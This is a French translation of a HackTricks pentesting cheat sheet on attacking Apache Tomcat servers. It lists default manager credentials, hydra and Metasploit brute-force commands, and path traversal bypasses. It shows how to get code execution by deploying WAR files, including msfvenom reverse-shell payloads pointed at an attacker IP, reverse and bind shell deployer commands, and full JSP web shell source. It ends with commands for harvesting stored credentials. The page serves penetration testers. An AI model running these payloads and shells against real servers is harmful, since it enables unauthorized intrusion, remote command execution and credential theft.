13 KiB
Tomcat
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFT
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.
Découverte
- Il fonctionne généralement sur le port 8080
- Erreur courante de Tomcat :
Énumération
Version
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
<html lang="en"><head><META http-equiv="Content-Type" content="text/html; charset=UTF-8"><link href="./images/docs-stylesheet.css" rel="stylesheet" type="text/css"><title>Apache Tomcat 9 (9.0.30) - Documentation Index</title><meta name="author"
Localisation des fichiers de gestionnaire
Il est intéressant de trouver où se trouvent les pages /manager
et /host-manager
car elles peuvent avoir un nom différent. Vous pouvez les rechercher avec une attaque brute-force.
Énumération de noms d'utilisateur
Dans certaines versions antérieures à Tomcat6, vous pouviez énumérer les utilisateurs :
msf> use auxiliary/scanner/http/tomcat_enum
Identifiants par défaut
Le chemin le plus intéressant de Tomcat est /manager/html, à l'intérieur de ce chemin, vous pouvez télécharger et déployer des fichiers war (exécuter du code). Mais ce chemin est protégé par une authentification HTTP de base, les identifiants les plus courants sont:
- admin:admin
- tomcat:tomcat
- admin:<RIEN>
- admin:s3cr3t
- tomcat:s3cr3t
- admin:tomcat
Vous pouvez tester ces identifiants et plus en utilisant:
msf> use auxiliary/scanner/http/tomcat_mgr_login
Un autre chemin intéressant de Tomcat est /manager/status
, où vous pouvez voir la version du système d'exploitation et de Tomcat. Cela est utile pour trouver des vulnérabilités affectant la version de Tomcat lorsque vous ne pouvez pas accéder à /manager/html
.
Bruteforce
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set VHOST tomacat-site.internal
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8180
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set stop_on_success true
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set rhosts <IP>
Vulnérabilités
Divulgation de la trace de mot de passe
Essayez d'accéder à /auth.jsp
et si vous avez beaucoup de chance, il pourrait divulguer le mot de passe dans une trace de retour.
Double encodage d'URL
Une vulnérabilité bien connue pour accéder au gestionnaire d'application __ est mod_jk dans CVE-2007-1860, qui permet la traversée de chemin à double encodage d'URL.
Pour accéder à la gestion web de Tomcat, allez à : pathTomcat/%252E%252E/manager/html
Notez que pour télécharger le webshell, vous devrez peut-être utiliser le tour de double encodage et envoyer également un cookie et/ou un jeton SSRF.
Pour accéder à la porte dérobée, vous devrez peut-être également utiliser le tour de double encodage.
/examples
Les scripts d'exemple suivants qui accompagnent Apache Tomcat v4.x - v7.x peuvent être utilisés par les attaquants pour obtenir des informations sur le système. Ces scripts sont également connus pour être vulnérables à l'injection de script intersite (XSS) (à partir de ici).
- /examples/jsp/num/numguess.jsp
- /examples/jsp/dates/date.jsp
- /examples/jsp/snp/snoop.jsp
- /examples/jsp/error/error.html
- /examples/jsp/sessions/carts.html
- /examples/jsp/checkbox/check.html
- /examples/jsp/colors/colors.html
- /examples/jsp/cal/login.html
- /examples/jsp/include/include.jsp
- /examples/jsp/forward/forward.jsp
- /examples/jsp/plugin/plugin.jsp
- /examples/jsp/jsptoserv/jsptoservlet.jsp
- /examples/jsp/simpletag/foo.jsp
- /examples/jsp/mail/sendmail.jsp
- /examples/servlet/HelloWorldExample
- /examples/servlet/RequestInfoExample
- /examples/servlet/RequestHeaderExample
- /examples/servlet/RequestParamExample
- /examples/servlet/CookieExample
- /examples/servlet/JndiServlet
- /examples/servlet/SessionExample
- /tomcat-docs/appdev/sample/web/hello.jsp
Traversée de chemin (..;/)
Dans certaines configurations vulnérables de Tomcat, vous pouvez accéder à des répertoires protégés dans Tomcat en utilisant le chemin : /..;/
Ainsi, par exemple, vous pourriez être en mesure d'accéder à la page du gestionnaire de Tomcat en accédant à : www.vulnerable.com/lalala/..;/manager/html
Une autre façon de contourner les chemins protégés en utilisant cette astuce est d'accéder à http://www.vulnerable.com/;param=value/manager/html
RCE
Enfin, si vous avez accès au gestionnaire d'application Web de Tomcat, vous pouvez télécharger et déployer un fichier .war (exécuter du code).
Limitations
Vous ne pourrez déployer un WAR que si vous avez suffisamment de privilèges (rôles : admin, manager et manager-script). Ces détails peuvent être trouvés dans tomcat-users.xml généralement défini dans /usr/share/tomcat9/etc/tomcat-users.xml
(cela varie entre les versions) (voir la section POST).
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"
# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
Metasploit
Metasploit est un outil de test de pénétration open source qui permet aux testeurs de pénétrer dans les systèmes informatiques et de découvrir des vulnérabilités. Il est utilisé pour automatiser les tâches de test de pénétration, telles que la recherche de vulnérabilités, l'exploitation de vulnérabilités et la création de rapports sur les résultats des tests. Metasploit est largement utilisé par les professionnels de la sécurité pour tester la sécurité des systèmes informatiques et pour évaluer les risques de sécurité.
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit
Coquille Inverse MSFVenom
Le payload de coquille inverse MSFVenom est un type de payload qui permet à un attaquant d'obtenir un accès à distance à un système cible en exécutant une coquille inverse sur la machine cible. Ce type de payload est souvent utilisé lors de tests de pénétration pour exploiter des vulnérabilités dans les applications Web et les serveurs.
Pour créer un payload de coquille inverse MSFVenom, vous pouvez utiliser la commande suivante :
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<your IP> LPORT=<your port> -f war > shell.war
Cette commande crée un fichier WAR contenant le payload de coquille inverse. Vous pouvez ensuite déployer ce fichier sur un serveur Tomcat vulnérable pour obtenir un accès à distance à la machine cible.
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.0.41 LPORT=80 -f war -o revshell.war
Ensuite, téléchargez le fichier revshell.war
et accédez-y (/revshell/)
Lier et inverser la coquille avec tomcatWarDeployer.py
Dans certains scénarios, cela ne fonctionne pas (par exemple, les anciennes versions de sun)
Télécharger
git clone https://github.com/mgeeky/tomcatWarDeployer.git
Shell inversé
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
Shell de liaison
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
Utilisation de Culsterd
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
Méthode manuelle - Web shell
Créez index.jsp avec ce contenu:
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it
Vous pouvez également installer ceci (permet l'upload, le téléchargement et l'exécution de commandes): http://vonloesch.de/filebrowser.html
Méthode manuelle 2
Obtenez un shell web JSP tel que celui-ci et créez un fichier WAR:
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
POST
Le nom du fichier de crédentials de Tomcat est tomcat-users.xml.
find / -name tomcat-users.xml 2>/dev/null
Autres moyens de collecter les identifiants Tomcat:
msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat
Autres outils de scan Tomcat
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.